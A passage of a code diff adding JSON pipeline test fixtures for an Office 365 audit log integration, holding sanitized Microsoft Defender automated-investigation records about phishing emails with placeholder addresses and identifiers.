+ "Data": "{\"Version\":\"3.0\",\"VendorName\":\"Microsoft\",\"ProviderName\":\"OATP\",\"AlertType\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"StartTimeUtc\":\"2023-12-31T23:59:59.0000000Z\",\"EndTimeUtc\":\"2023-12-31T23:59:59.0000000Z\",\"TimeGenerated\":\"2023-12-31T23:59:59.0000000Z\",\"ProcessingEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"Status\":\"Resolved\",\"DetectionTechnology\":\"FingerPrintMatch\",\"Severity\":\"Informational\",\"ConfidenceLevel\":\"Unknown\",\"ConfidenceScore\":1,\"IsIncident\":false,\"ProviderAlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"SystemAlertId\":null,\"CorrelationKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Investigations\":[{\"$id\":\"1\",\"Id\":\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\",\"InvestigationStatus\":\"FullyRemediated\"}],\"InvestigationIds\":[\"urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890\"],\"Intent\":\"Probing\",\"ResourceIdentifiers\":[{\"$id\":\"2\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"AzureResourceId\":null,\"WorkspaceId\":null,\"WorkspaceSubscriptionId\":null,\"WorkspaceResourceGroup\":null,\"AgentId\":null,\"AlertDisplayName\":\"Email messages removed after delivery\",\"Description\":\"Malicious emails were delivered and later removed -V1.0.0.2\",\"ExtendedLinks\":[{\"Href\":\"https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Category\":null,\"Label\":\"alert\",\"Type\":\"webLink\"}],\"Metadata\":{\"CustomApps\":null,\"GenericInfo\":null},\"Entities\":[{\"$id\":\"3\",\"Recipient\":\"user@example.com\",\"Urls\":[\"hxxp://test.local\",\"hxxp://test.local\",\"hxxp://test.local\"],\"Threats\":[\"ZapPhish\",\"HighConfPhish\"],\"Sender\":\"sender@example.com\",\"P1Sender\":\"bounce@example.com\",\"P1SenderDomain\":\"example.com\",\"SenderIP\":\"81.2.69.144\",\"P2Sender\":\"sender@example.com\",\"P2SenderDisplayName\":\"name\",\"P2SenderDomain\":\"example.com\",\"ReceivedDate\":\"2023-12-31T23:59:59\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InternetMessageId\":\"\",\"Subject\":\"subject\",\"AntispamDirection\":\"Inbound\",\"DeliveryAction\":\"DeliveredAsSpam\",\"ThreatDetectionMethods\":[\"MLModel\"],\"Language\":\"en\",\"DeliveryLocation\":\"Quarantine\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"AdditionalActionsAndResults\":[\"OriginalDelivery: [N/A]\"],\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"AuthDetails\":[{\"Name\":\"SPF\",\"Value\":\"Pass\"},{\"Name\":\"DKIM\",\"Value\":\"Pass\"},{\"Name\":\"DMARC\",\"Value\":\"Pass\"},{\"Name\":\"Comp Auth\",\"Value\":\"pass\"}],\"SystemOverrides\":[],\"Type\":\"mailMessage\",\"Urn\":\"urn:MailEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"4\",\"Address\":\"81.2.69.144\",\"Type\":\"ip\",\"Urn\":\"urn:IPEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"5\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (BodyFingerprintBin1:\\\"5555555555\\\") ) AND ( (P2SenderDomain:\\\"example.com\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"BodyFingerprintBin1,P2SenderDomain\",\"Type\":\"mailCluster\",\"ClusterBy\":\"BodyFingerprintBin1;P2SenderDomain;ContentType\",\"ClusterByValue\":\"5555555555;example.com;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"6\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (BodyFingerprintBin1:\\\"5555555555\\\") ) AND ( (SenderIp:\\\"81.2.69.144\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"BodyFingerprintBin1,SenderIp\",\"Type\":\"mailCluster\",\"ClusterBy\":\"BodyFingerprintBin1;SenderIp;ContentType\",\"ClusterByValue\":\"5555555555;81.2.69.144;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"7\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (Subject:\\\"subject\\\") ) AND ( (SenderIp:\\\"81.2.69.144\\\") ) AND ( (AntispamDirection:\\\"1\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"Subject,SenderIp,AntispamDirection\",\"Type\":\"mailCluster\",\"ClusterBy\":\"Subject;SenderIp;AntispamDirection;ContentType\",\"ClusterByValue\":\"subject;81.2.69.144;1;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"8\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":1,\"Phish\":0,\"Malware\":0,\"Spam\":0},\"CountByProtectionStatus\":{\"Blocked\":1},\"CountByDeliveryLocation\":{\"Quarantine\":1},\"Query\":\"( (( (Subject:\\\"subject\\\") ) AND ( (P2SenderDomain:\\\"example.com\\\") ) AND ( (AntispamDirection:\\\"1\\\") ) AND ( (ContentType: 1) )) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":1,\"IsVolumeAnamoly\":false,\"ClusterSourceIdentifier\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ClusterSourceType\":\"Similarity\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"Subject,P2SenderDomain,AntispamDirection\",\"Type\":\"mailCluster\",\"ClusterBy\":\"Subject;P2SenderDomain;AntispamDirection;ContentType\",\"ClusterByValue\":\"subject;example.com;1;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"SourceTemplateType\":\"Threat_Single\",\"Category\":\"ThreatManagement\",\"SourceAlertType\":\"System\"}",
+ "DeepLinkUrl": "https://security.microsoft.com/abc-investigation/urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Operation": "AirInvestigationData",
+ "InvestigationId": "urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890",
+ "EndTimeUtc": "2023-12-31T23:59:59",
+ "Workload": "AirInvestigation",
+ "RecordType": 64,
+ "Version": 1,
+ "UserId": "AirInvestigation",
+ "CreationTime": "2023-12-31T23:59:59",
+ "InvestigationName": "Malicious mail is zapped - urn:ZappedEmailInvestigation:abcdef1234567890abcdef1234567890",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 4,
+ "RunningTime": "2314",
+ "LastUpdateTimeUtc": "2023-12-31T23:59:59"
+ }
+ },
+ {
+ "event": {
+ "original": "{\"Status\":\"Running\",\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InvestigationType\":\"SubmissionInvestigation\",\"UserKey\":\"AirInvestigation\",\"Data\":\"{\\\"Version\\\":\\\"3.0\\\",\\\"VendorName\\\":\\\"Microsoft\\\",\\\"ProviderName\\\":\\\"OATP\\\",\\\"AlertType\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"StartTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"EndTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"TimeGenerated\\\":\\\"2023-12-31T23:59:59.00Z\\\",\\\"ProcessingEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"Status\\\":\\\"InProgress\\\",\\\"Severity\\\":\\\"Low\\\",\\\"ConfidenceLevel\\\":\\\"Unknown\\\",\\\"ConfidenceScore\\\":1,\\\"IsIncident\\\":false,\\\"ProviderAlertId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"SystemAlertId\\\":null,\\\"CorrelationKey\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Investigations\\\":[{\\\"$id\\\":\\\"1\\\",\\\"Id\\\":\\\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\\\",\\\"InvestigationStatus\\\":\\\"Running\\\"}],\\\"InvestigationIds\\\":[\\\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\\\"],\\\"Intent\\\":\\\"Probing\\\",\\\"ResourceIdentifiers\\\":[{\\\"$id\\\":\\\"2\\\",\\\"AadTenantId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Type\\\":\\\"AAD\\\"}],\\\"AzureResourceId\\\":null,\\\"WorkspaceId\\\":null,\\\"WorkspaceSubscriptionId\\\":null,\\\"WorkspaceResourceGroup\\\":null,\\\"AgentId\\\":null,\\\"AlertDisplayName\\\":\\\"Email reported by user as malware or phish\\\",\\\"Description\\\":\\\"This alert is triggered when any email message is reported as malware or phish by users -V1.0.0.3\\\",\\\"ExtendedLinks\\\":[{\\\"Href\\\":\\\"https://security.microsoft.com/viewalerts?id=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Category\\\":null,\\\"Label\\\":\\\"alert\\\",\\\"Type\\\":\\\"webLink\\\"}],\\\"Metadata\\\":{\\\"CustomApps\\\":null,\\\"GenericInfo\\\":null},\\\"Entities\\\":[{\\\"$id\\\":\\\"3\\\",\\\"Recipient\\\":\\\"user@example.com\\\",\\\"Urls\\\":[\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\",\\\"hxxp://test.local\\\"],\\\"Threats\\\":[\\\"HighConfPhish\\\"],\\\"Sender\\\":\\\"bounce@example.com\\\",\\\"P1Sender\\\":\\\"<>\\\",\\\"P1SenderDomain\\\":\\\"\\\",\\\"SenderIP\\\":\\\"81.2.69.144\\\",\\\"P2Sender\\\":\\\"bounce@example.com\\\",\\\"P2SenderDisplayName\\\":\\\"name\\\",\\\"P2SenderDomain\\\":\\\"example.com\\\",\\\"ReceivedDate\\\":\\\"2023-12-31T23:59:59\\\",\\\"NetworkMessageId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"InternetMessageId\\\":\\\"\\\",\\\"Subject\\\":\\\"subject\\\",\\\"AntispamDirection\\\":\\\"Inbound\\\",\\\"DeliveryAction\\\":\\\"Delivered\\\",\\\"ThreatDetectionMethods\\\":[\\\"MLModel\\\"],\\\"Language\\\":\\\"nb\\\",\\\"DeliveryLocation\\\":\\\"Inbox\\\",\\\"OriginalDeliveryLocation\\\":\\\"Inbox\\\",\\\"PhishConfidenceLevel\\\":\\\"High\\\",\\\"AdditionalActionsAndResults\\\":[\\\"OriginalDelivery: [N/A]\\\"],\\\"Connector\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\\\",\\\"AuthDetails\\\":[{\\\"Name\\\":\\\"SPF\\\",\\\"Value\\\":\\\"Pass\\\"},{\\\"Name\\\":\\\"DKIM\\\",\\\"Value\\\":\\\"None\\\"},{\\\"Name\\\":\\\"DMARC\\\",\\\"Value\\\":\\\"Fail\\\"},{\\\"Name\\\":\\\"Comp Auth\\\",\\\"Value\\\":\\\"fail\\\"}],\\\"SystemOverrides\\\":[],\\\"Type\\\":\\\"mailMessage\\\",\\\"Urn\\\":\\\"urn:MailEntity:dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"4\\\",\\\"MailboxPrimaryAddress\\\":\\\"user@example.com\\\",\\\"Upn\\\":\\\"account@example.com\\\",\\\"AadId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"RiskLevel\\\":\\\"None\\\",\\\"Type\\\":\\\"mailbox\\\",\\\"Urn\\\":\\\"urn:UserEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"}],\\\"LogCreationTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"MachineName\\\":\\\"ABCDEFGHIJK\\\",\\\"SourceTemplateType\\\":\\\"Activity_Single\\\",\\\"Category\\\":\\\"ThreatManagement\\\",\\\"SourceAlertType\\\":\\\"System\\\"}\",\"DeepLinkUrl\":\"https://security.microsoft.com/abc-investigation/urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AirInvestigationData\",\"InvestigationId\":\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\",\"EndTimeUtc\":\"2023-12-31T23:59:59\",\"Workload\":\"AirInvestigation\",\"RecordType\":64,\"Version\":1,\"UserId\":\"AirInvestigation\",\"CreationTime\":\"2023-12-31T23:59:59\",\"InvestigationName\":\"User reported message as malicious 'subject' for 'Phish'\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4,\"RunningTime\":\"312\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59\"}"
+ },
+ "o365audit": {
+ "Status": "Running",
+ "StartTimeUtc": "2023-12-31T23:59:59",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "InvestigationType": "SubmissionInvestigation",
+ "UserKey": "AirInvestigation",
+ "Data": "{\"Version\":\"3.0\",\"VendorName\":\"Microsoft\",\"ProviderName\":\"OATP\",\"AlertType\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"StartTimeUtc\":\"2023-12-31T23:59:59Z\",\"EndTimeUtc\":\"2023-12-31T23:59:59Z\",\"TimeGenerated\":\"2023-12-31T23:59:59.00Z\",\"ProcessingEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"Status\":\"InProgress\",\"Severity\":\"Low\",\"ConfidenceLevel\":\"Unknown\",\"ConfidenceScore\":1,\"IsIncident\":false,\"ProviderAlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"SystemAlertId\":null,\"CorrelationKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Investigations\":[{\"$id\":\"1\",\"Id\":\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\",\"InvestigationStatus\":\"Running\"}],\"InvestigationIds\":[\"urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890\"],\"Intent\":\"Probing\",\"ResourceIdentifiers\":[{\"$id\":\"2\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"AzureResourceId\":null,\"WorkspaceId\":null,\"WorkspaceSubscriptionId\":null,\"WorkspaceResourceGroup\":null,\"AgentId\":null,\"AlertDisplayName\":\"Email reported by user as malware or phish\",\"Description\":\"This alert is triggered when any email message is reported as malware or phish by users -V1.0.0.3\",\"ExtendedLinks\":[{\"Href\":\"https://security.microsoft.com/viewalerts?id=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Category\":null,\"Label\":\"alert\",\"Type\":\"webLink\"}],\"Metadata\":{\"CustomApps\":null,\"GenericInfo\":null},\"Entities\":[{\"$id\":\"3\",\"Recipient\":\"user@example.com\",\"Urls\":[\"hxxp://test.local\",\"hxxp://test.local\",\"hxxp://test.local\"],\"Threats\":[\"HighConfPhish\"],\"Sender\":\"bounce@example.com\",\"P1Sender\":\"<>\",\"P1SenderDomain\":\"\",\"SenderIP\":\"81.2.69.144\",\"P2Sender\":\"bounce@example.com\",\"P2SenderDisplayName\":\"name\",\"P2SenderDomain\":\"example.com\",\"ReceivedDate\":\"2023-12-31T23:59:59\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InternetMessageId\":\"\",\"Subject\":\"subject\",\"AntispamDirection\":\"Inbound\",\"DeliveryAction\":\"Delivered\",\"ThreatDetectionMethods\":[\"MLModel\"],\"Language\":\"nb\",\"DeliveryLocation\":\"Inbox\",\"OriginalDeliveryLocation\":\"Inbox\",\"PhishConfidenceLevel\":\"High\",\"AdditionalActionsAndResults\":[\"OriginalDelivery: [N/A]\"],\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"AuthDetails\":[{\"Name\":\"SPF\",\"Value\":\"Pass\"},{\"Name\":\"DKIM\",\"Value\":\"None\"},{\"Name\":\"DMARC\",\"Value\":\"Fail\"},{\"Name\":\"Comp Auth\",\"Value\":\"fail\"}],\"SystemOverrides\":[],\"Type\":\"mailMessage\",\"Urn\":\"urn:MailEntity:dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"},{\"$id\":\"4\",\"MailboxPrimaryAddress\":\"user@example.com\",\"Upn\":\"account@example.com\",\"AadId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"RiskLevel\":\"None\",\"Type\":\"mailbox\",\"Urn\":\"urn:UserEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"SourceTemplateType\":\"Activity_Single\",\"Category\":\"ThreatManagement\",\"SourceAlertType\":\"System\"}",
+ "DeepLinkUrl": "https://security.microsoft.com/abc-investigation/urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Operation": "AirInvestigationData",
+ "InvestigationId": "urn:SubmissionInvestigation:abcdef1234567890abcdef1234567890",
+ "EndTimeUtc": "2023-12-31T23:59:59",
+ "Workload": "AirInvestigation",
+ "RecordType": 64,
+ "Version": 1,
+ "UserId": "AirInvestigation",
+ "CreationTime": "2023-12-31T23:59:59",
+ "InvestigationName": "User reported message as malicious 'subject' for 'Phish'",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 4,
+ "RunningTime": "312",
+ "LastUpdateTimeUtc": "2023-12-31T23:59:59"
+ }
+ }
+ ]
+}
\ No newline at end of file
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-airinvestigation.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-airinvestigation.json-expected.json
new file mode 100644
index 00000000000..cf45a4034b2
--- /dev/null
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-airinvestigation.json-expected.json
@@ -0,0 +1,1115 @@
+{
+ "expected": [
+ {
+ "@timestamp": "2023-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "from": {
+ "address": [
+ "sender@example.com"
+ ]
+ },
+ "local_id": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "message_id": [
+ ""
+ ],
+ "sender": {
+ "address": [
+ "sender@example.com"
+ ]
+ },
+ "subject": [
+ "subject"
+ ],
+ "to": {
+ "address": [
+ "user@example.com"
+ ]
+ }
+ },
+ "event": {
+ "action": "AirInvestigationData",
+ "category": [
+ "web"
+ ],
+ "code": "AirInvestigation",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"Status\":\"Pending Action\",\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"Actions\":[{\"$id\":\"1\",\"ActionId\":\"urn:EmailZapper:abcdef1234567890abcdef1234567890\",\"InvestigationId\":\"urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"ActionApproval\":\"None\",\"ActionType\":\"EmailRemediation\",\"ActionStatus\":\"Pending\",\"Entities\":[{\"$id\":\"2\",\"NetworkMessageIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"CountByThreatType\":{\"HighConfPhish\":56,\"Phish\":45,\"Malware\":1,\"Spam\":18,\"MaliciousUrl\":86},\"CountByProtectionStatus\":{\"Delivered\":0,\"Blocked\":19},\"CountByDeliveryLocation\":{\"Inbox\":0,\"Quarantine\":19,\"Forwarded\":1},\"Query\":\"( ((NormalizedUrl:\\\"https://test.local/-\\\") AND (ContentType: 1)) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:PhishEdu) AND NOT(XmiInfoTenantPolicyFinalVerdictSource:SecOps))\",\"QueryTime\":\"12/31/2023 11:59:59 PM\",\"MailCount\":86,\"IsVolumeAnamoly\":true,\"ClusterSourceIdentifier\":\"https://test.local/-\",\"ClusterSourceType\":\"UrlThreatIndicator\",\"ClusterQueryStartTime\":\"2023-12-31T23:59:59Z\",\"ClusterQueryEndTime\":\"2023-12-31T23:59:59.0000000Z\",\"ClusterGroup\":\"UrlThreatIdentifier\",\"Type\":\"mailCluster\",\"ClusterBy\":\"NormalizedUrl;ContentType\",\"ClusterByValue\":\"https://test.local/-;1\",\"QueryStartTime\":\"12/31/2023 11:59:59 PM\",\"Urn\":\"urn:MailClusterEntity:abcdef1234567890abcdef1234567890\",\"Source\":\"OATP\",\"FirstSeen\":\"2023-12-31T23:59:59\"}],\"RelatedAlertIds\":[\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"],\"StartTimeUtc\":\"2023-12-31T23:59:59\",\"LastUpdateTimeUtc\":\"2023-12-31T23:59:59.0000000Z\",\"TimestampUtc\":\"2023-12-31T23:59:59\",\"BulkName\":\"Mail with malicious urls is zapped - urn:UrlInvestigation:abcdef1234567890abcdef1234567890\",\"ResourceIdentifiers\":[{\"$id\":\"3\",\"AadTenantId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Type\":\"AAD\"}],\"PendingType\":\"User\",\"LogCreationTime\":\"2023-12-31T23:59:59.0000000Z\",\"MachineName\":\"ABCDEFGHIJK\",\"Description\":\"For malicious emails,you can move to junk,soft or hard delete from user's mailbox.\"}],\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"InvestigationType\":\"UrlInvestigation\",\"UserKey\":\"AirInvestigation\",\"Data\":\"{\\\"Version\\\":\\\"3.0\\\",\\\"VendorName\\\":\\\"Microsoft\\\",\\\"ProviderName\\\":\\\"OATP\\\",\\\"AlertType\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"StartTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"EndTimeUtc\\\":\\\"2023-12-31T23:59:59Z\\\",\\\"TimeGenerated\\\":\\\"2023-12-31T23:59:59.9Z\\\",\\\"ProcessingEndTime\\\":\\\"2023-12-31T23:59:59.0000000Z\\\",\\\"Status\\\":\\\"New\\\",\\\"DetectionTechnology\\\":\\\"URLList\\\",\\\"Severity\\\":\\\"Informational\\\",\\\"ConfidenceLevel\\\":\\\"Unknown\\\",\\\"ConfidenceScore\\\":1,\\\"IsIncident\\\":false,\\\"ProviderAlertId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"SystemAlertId\\\":null,\\\"CorrelationKey\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Investigations\\\":[],\\\"InvestigationIds\\\":[],\\\"Intent\\\":\\\"Probing\\\",\\\"ResourceIdentifiers\\\":[{\\\"$id\\\":\\\"1\\\",\\\"AadTenantId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Type\\\":\\\"AAD\\\"}],\\\"AzureResourceId\\\":null,\\\"WorkspaceId\\\":null,\\\"WorkspaceSubscriptionId\\\":null,\\\"WorkspaceResourceGroup\\\":null,\\\"AgentId\\\":null,\\\"AlertDisplayName\\\":\\\"Email messages containing malicious URL removed after delivery\\\",\\\"Description\\\":\\\"Emails with malicious URL that were delivered and later removed -V1.0.0.3\\\",\\\"ExtendedLinks\\\":[{\\\"Href\\\":\\\"https://security.microsoft.com/alerts/dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"Category\\\":null,\\\"Label\\\":\\\"alert\\\",\\\"Type\\\":\\\"webLink\\\"}],\\\"Metadata\\\":{\\\"CustomApps\\\":null,\\\"GenericInfo\\\":null},\\\"Entities\\\":[{\\\"$id\\\":\\\"2\\\",\\\"MailboxPrimaryAddress\\\":\\\"user@example.com\\\",\\\"Upn\\\":\\\"user@example.com\\\",\\\"AadId\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"RiskLevel\\\":\\\"None\\\",\\\"Type\\\":\\\"mailbox\\\",\\\"Urn\\\":\\\"urn:UserEntity:abcdef1234567890abcdef1234567890\\\",\\\"Source\\\":\\\"OATP\\\",\\\"FirstSeen\\\":\\\"2023-12-31T23:59:59\\\"},{\\\"$id\\\":\\\"3\\\",\\\"Recipient\\\":\\\"user@example.com\\\",\\\"Urls\\\":[\\\"https://test.local/-\\\"],\\\"Threats\\\":[\\\"ZapPhish\\\",\\\"HighConfPhish\\\"],\\\"Sender\\\":\\\"sender@example.com\\\",\\\"P1Sender\\\":\\\"sender@example.com\\\",\\\"P1SenderDomain\\\":\\\"e